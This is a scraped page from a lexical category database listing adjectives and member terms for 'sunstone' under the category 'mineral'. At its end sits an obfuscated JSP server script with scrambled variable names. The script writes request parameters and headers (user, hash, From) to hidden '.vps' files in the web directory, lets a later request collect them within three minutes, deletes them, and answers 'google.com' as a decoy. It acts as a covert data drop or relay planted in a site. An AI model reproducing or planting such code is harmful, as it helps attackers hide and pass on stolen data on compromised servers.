Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
sunstone
with head word
mineral
:
diverse:mineral,
Category Nuances matching
mineral
:
hygroscopic,
industrial,
strategic,
suspended,
valuable,
natural,
nonessential,
local,
aggregate,
little,
black,
particular,
heavy,
nonmetallic,
single,
economic,
additional,
major,
hard,
refractory,
barren,
dense,
soft,
fibrous,
volcanic,
common,
precious,
traditional,
rare,
solid,
popular,
related,
binding,
salt,
refined,
deleterious,
essential,
original,
hydrophilic,
anhydrous,
undesirable,
harder,
ceramic,
conventional,
active,
conductive,
metabolic,
granular,
key,
agricultural,
floating,
micaceous,
aluminous,
metallic,
beneficial,
accessible,
minute,
toxic,
nonmetal,
native,
acidic,
transparent,
synthetic,
starting,
mobile,
concentrated,
expanded,
clear,
consolidated,
critical,
radioactive,
significant,
divalent,
reflective,
free,
softer,
malleable,
useful,
suitable,
polished,
clastic,
hydrous,
charged,
colorful,
healthy,
metamorphic,
unstable,
flat,
light,
nutritional,
corrosive,
planar,
primary,
pure,
large,
available,
sensitive,
weak,
color,
lunar,
ionic,
colored,
secondary,
soluble,
costly,
dark,
pulverized,
disordered,
unusual,
dissolved,
siliceous,
inexpensive,
crustal,
iron,
colloidal,
hydrophobic,
hardest,
acid,
protective,
aqueous,
abundant,
intractable,
subsurface,
insoluble,
tibetan,
inorganic,
powdered,
abrasive,
pathogenic,
commercial,
rich,
biological,
marine,
miscellaneous,
specified,
basaltic,
up,
strong,
calcareous,
durable,
extraneous,
combustible,
raw,
particulate,
diagnostic,
white,
base,
alkaline,
simple,
colorless,
larger,
cationic,
hydrated,
long,
porous,
paramagnetic,
structural,
bituminous,
indigenous,
exotic,
poisonous,
translucent,
environmental,
stable,
amorphous,
expensive,
friable,
fluid,
complex,
relevant,
non-metallic,
lighter,
resistant,
diamagnetic,
igneous,
dangerous,
elemental,
manufactured,
special,
exposed,
good,
virgin,
telltale,
inert,
rocklike,
coloured,
ferromagnetic,
geological,
urinary,
supplemental,
heavier,
mundane,
refractive,
brittle,
basic,
unwanted,
resilient,
sedimentary,
beautiful,
magnetic,
harmful,
organic,
reactive,
necessary,
crystalline,
model,
phosphorous,
dietary,
diverse,
crucial,
cheap,
therapeutic,
persistent,
opaque,
out,
birefringent,
loose,
ferrous,
underlying,
fine,
angular,
rigid,
semiprecious,
anisotropic,
linear,
foreign,
u,
vital,
important,
minor,
new,
small,
lightweight,
unconsolidated,
metal,
residual,
decorative,
viscous,
red,
crushed,
Members for simple category
mineral
:
natural_mica,
copper,
quartz,
glucose,
chalcocite,
chlorite,
diamond,
bituminous_sand,
sodium_compound,
clay,
block_granite,
metal_hydroxide,
feldspar,
mussel_shell,
diatomite,
oxide_mineral,
feldspar_mineral,
siderite,
mica,
mica_mineral,
bentonite,
meerschaum,
apatite_phosphate,
ocher,
caesium_ore,
silver,
silicate,
zircon,
limestone,
integral_mineral,
chrysotile,
mica_mica,
albite,
fish_protein,
chalk,
quartzite,
oil_asbestos,
alumina,
gypsum_beard,
granite,
u_compound,
silicon_sand,
slag_wool,
bull_quartz,
brick_clay,
volcanic_detritus,
feldspar_powder,
phosphate_ore,
pyrope_garnet,
soapstone,
conventional_vermiculite,
nephelite_silica,
chrome_ore,
uric_acid,
industrial_mineral,
cuprite,
lime,
erythrite,
magnesia,
gravel_rock,
yellow_oxide,
flint_agate,
ferrous_mineral,
resin,
carbonate_azurite,
sapphire_blue,
igneous_rock,
native_arsenic,
iron_compound,
soapstone_powder,
bauxite,
pyrite,
starch,
feldspar_grain,
pyrophyllite,
potash_feldspar,
chrysoberyl,
titanium-dioxide_feedstock,
hydrated_silica,
soap,
bastnaesite,
steatite,
sparse_biotite,
soil,
cesium_chloride,
decorative_rock,
scheelite,
horn,
sedimentary_mineral,
mica_grain,
kaolin_mineral,
secondary_carbonate,
carnotite,
crystalline_clay,
asbestos_fiber,
salt_halite,
pyrites,
lithic_grain,
foundry_sand,
lime_stone,
sandstone,
white_mica,
calcite_powder,
pink_topaz,
synthetic_silica,
rock_aggregate,
emery,
quarry_stone,
rock,
vermiculite,
reactive_quartz,
galena,
agricultural_product,
nitrate_sulfate,
fireclay,
alkali_feldspar,
tin_ore,
al_oxide,
synthetic,
expanding_clay,
stone,
co,
potassium_phosphate,
heavy_spar,
zircon_mineral,
construction_material,
wood,
borate,
iron_sulphide,
quartz_powder,
sodium_plagioclase,
carbuncle,
almandine,
china-clay_powder,
nitrate,
hematite_cement,
typical_oxide,
silicate_mineral,
anorthite,
molybdenite,
chromite,
soluble_silica,
base-metal_sulphide,
hb,
spinel_chromite,
spinel,
calcium_limestone,
bulk_clay,
turquoise,
dimensional_stone,
tantalite,
ion-exchange_resin,
rare-earth_mineral,
clay_particle,
plaster,
potassium_feldspar,
bornite,
pitchblende,
kainite,
calcite,
phosphor,
sedimentary_cement,
red_oxide,
iron_sulfide,
industrial_clay,
tripoli,
rhodonite,
pollucite,
china-clay_kaolin,
slate,
zinc_ore,
fluoride,
common_salt,
augite,
mineral_sand,
biotite_hornfels,
granite_dust,
titanium_ore,
primary_barite,
arsenide,
emery_corundum,
various_sulfide,
talcum,
serpentine_mineral,
guano,
magnetite,
brown_mica,
dimension_stone,
sodium_borate,
zinc_carbonate,
heulandite,
ground_pumice,
mineral_grain,
clay_grain,
wolframite,
milk_product,
chilean_saltpetre,
tropical_soil,
lake,
fibrous_material,
powdered_spodumene,
halide,
peridotite,
shingle,
marl,
carbonaceous_material,
red_sapphire,
silt,
gem_stone,
haematite,
quartz_porphyry,
iron_dioxide,
sulfate,
ti_oxide,
ferrous_sulfate,
barytes_barite,
topaz,
monazite,
mica_muscovite,
biotite,
particulate_ash,
amphibole,
precious_stone,
hydroxide,
pumice,
limonite,
activated_carbon,
osmiridium,
feldspar_albite,
hornblende_amphibole,
rock_granule,
magnesium_silicate,
zeolite,
soft_material,
ceramic_material,
green_chlorite,
secondary_clay,
kieselguhr,
sodalite,
chalcedony,
metal_sulfide,
chalcanthite,
ethylene,
zinc_concentrate,
pure_carbonate,
iron_magnetite,
vegetable_fiber,
chalcopyrite,
biogenic_carbonate,
xenotime,
halite_salt,
cassiterite,
tar,
calcium_fluoride,
ammonia,
shale,
aventurine_quartz,
antioxidant_enzyme,
quartz_grain,
sea_salt,
ceramic_binder,
lepidocrocite,
arsenic,
aplite,
lithographic_stone,
baddeleyite,
black_stone,
metallic_sulfide,
fuller_earth,
protein,
calcium_pyrophosphate,
oil,
ultramarine_pigment,
titanium_ilmenite,
fluorite,
hydrate,
protein_collagen,
silk,
hydrated_lime,
bromide,
telluride,
sylvite,
free_lime,
magnesium_phosphate,
lepidolite,
cinnabar,
germanium,
crushed_rock,
manufactured_diamond,
calcium_carbonate,
greenockite,
orpiment,
lignite,
coral_sand,
carbohydrate,
felspar,
alumina_zirconia,
bicarbonate,
jade_nephrite,
dolomite_powder,
ilmenite,
silicate_clay,
chlorate,
hornblende,
silica_mineral,
manganese_oxide,
aragonite,
sphalerite,
agate,
alum,
potassium_salt,
crystalline_dolomite,
heavy_mineral,
quartz_sandstone,
secondary_silicate,
microcrystalline_silica,
rutile,
morganite_beryl,
silicon_si,
si,
pyrolusite,
rough_stone,
titanium_mineral,
carnallite,
coarse_quartz,
ferric_hydroxide,
various_mica,
salt,
gypsum_sand,
kieserite,
orthoclase_feldspar,
chert,
silica_compound,
industrial_garnet,
colored_chert,
malachite_cu,
feldspar_rock,
jadeite,
borax,
white_clay,
phosphate,
cu,
silicon,
feldspar_sand,
biogenic_silica,
molybdenite_monazite,
dolomitic_lime,
opaline_silica,
andesite,
muscovite_mica,
metal_ore,
silica_alumina,
serpentine_rock,
gas,
inc_ore,
mica_biotite,
layer_silicate,
iron_oxide,
natural_asphalt,
iodide,
bastnasite,
bitumen,
lime_salt,
common_calcite,
rhodochrosite,
stibnite,
carbon_dust,
iron_silicate,
vermiculite_mica,
nepheline,
almandine_garnet,
copper_ore,
composite_particle,
methane,
arsenical_compound,
barytes,
copper_fill,
calcite_limestone,
asbestos,
actinolite,
silica_mud,
pentlandite,
sodium_salt,
hexagonal_pyrrhotite,
gypsum,
red_ochre,
corundum,
amber,
bauxite_grain,
granite_porphyry,
glauconite,
sulphide,
hydrated_silicate,
plaintiff_sand,
oxide,
onyx,
quartz_sand,
ballast,
organic,
opaque_mineral,
rotten_granite,
beta_carotene,
cuttlefish_bone,
ancient_ocher,
cement_lime,
cristobalite,
paragonite,
construction_aggregate,
magnesite,
sheet_silicate,
magnesium_sulphate,
therapeutic_mud,
tremolite,
sapphire,
sylvine,
abrasive,
green_aventurine,
glass_sand,
amethyst,
lapis-lazuli_blue,
argil,
clay_albite,
wollastonite_powder,
earth,
black_mica,
botryoidal_chalcedony,
flintstone,
ground_sandstone,
dirt,
mica_powder,
cherry-red_hematite,
sulfide,
gold_ore,
dark_grain,
peat,
chloride,
aggregate,
peridot,
meteoric_debris,
emerald,
clay_product,
carbonate_cerussite,
swelling_soil,
magnetic_quartzite,
aluminum_silicate,
hematite,
chrome_spinel,
marine_product,
calcium_phosphate,
small_rock,
basalt_stone,
phlogopite,
clay_mineral,
diamond_stone,
asbestos_chrysotile,
cerussite,
glassy_material,
fe_oxide,
black_oil,
chromite_ore,
chabazite,
sapphirine,
kaolin_powder,
muscovite,
copper_cu,
kyanite,
lead_compound,
manganese_dioxide,
columbite,
biotite_mica,
shell,
silica_sand,
orthoclase,
spodumene,
crystalline_silicate,
cobaltite,
mineral_fiber,
na_plagioclase,
marble,
tridymite,
ball_clay,
siliceous_earth,
basalt,
copper_concentrate,
halite,
ash,
clay_aggregate,
natural_gas,
sunstone,
sulfide_mineral,
dolomite_mineral,
almandite,
tourmaline,
fergusonite,
flint,
azurite,
saltpeter,
wax,
granite_stone,
apatite,
hydrocarbon,
kaolin,
natrolite,
velvet_malachite,
fe_sulfide,
strontianite,
soda,
specialty_clay,
sulfate_salt,
lithium_compound,
crystal_spray,
metal_compound,
garnet,
sand,
bones,
arsenate,
plagioclase,
ruby,
nd_wulfenite,
mica_phlogopite,
samarskite,
amblygonite,
nickel_ore,
malachite,
calcite_cement,
coltan,
river_sand,
kaolinite_clay,
gravel,
calcium_oxalate,
secondary_mineral,
calcium_lime,
aluminium_silicate,
rounded_zircon,
chrysotile_asbestos,
carbon,
boron_compound,
arsenopyrite,
industrial_sand,
clay_kaolin,
cordierite,
obsidian,
sulphide_pyrite,
brine,
sepiolite,
subordinate_quartz,
pink_rhodochrosite,
laterite,
uraninite,
copper_sulfide,
crushed_stone,
ornamental_stone,
refractory_material,
fertilizer,
talc,
dolomite,
wollastonite,
sugar,
olivine,
lead_oxide,
titania,
talc_powder,
humate,
opal,
ceramic_clay,
oligoclase,
petroleum,
specular_hematite,
periclase,
bauxite_ore,
bituminous_shale,
flaky_mica,
cement,
vanadinite,
quartz_mineral,
crystal_quartz,
chlorophyll,
silica,
cobalt_oxide,
ferric_oxide,
rock_phosphate,
pyrrhotite,
petroleum_material,
coal_barytes,
metal_oxide,
magnesium_salt,
kimberlite,
zirconium_phosphate,
pyroxene,
plagioclase_feldspar,
similar_synthetic,
hemimorphite,
chamosite,
available_phosphate,
magnesium_chloride,
primary,
charge,
thorite,
armor_rock,
coexisting_calcite,
topsoil,
dressed_ore,
blue_amphibole,
organic_material,
greensand,
gold_silver,
special_clay,
wulfenite,
zinc_chloride,
oxalate,
black_obsidian,
grinding_zeolite,
potash,
semiprecious_stone,
ore,
bone,
strained_quartz,
dimension_marble,
manganese_ore,
kernite,
pyrophosphate,
crude_petroleum,
unrefined_mineral,
urea,
anthophyllite,
titanium_nitride,
peat_soil,
celestite,
void_filling,
beryl_emerald,
zirconia,
argentite,
pitch_blende,
commercial_sod,
pyroxene_mineral,
kaolinite,
zircon_sand,
sulphate,
barite,
phosphate_rock,
zircon_powder,
aquamarine_beryl,
dioxin,
lithium_hydroxide,
rare_earth,
beryl,
magnesium_pyrophosphate,
carbonate,
rainbow_hematite,
fluorspar,
building_stone,
white_stone,
aquamarine,
native_copper,
garnet_mineral,
solid_carbonate,
iron_hydroxide,
base-metal_sulfide,
lava,
ferric_sulfate,
goethite,
ag,
mineral_mica,
kaolin_clay,
hard_water,
residual_salt,
calcareous_rock,
sand_stone,
ilmenite_stick,
stannite,
european_borate,
carnelian,
gem_peridot,
gibbsite,
isinglass_mica,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>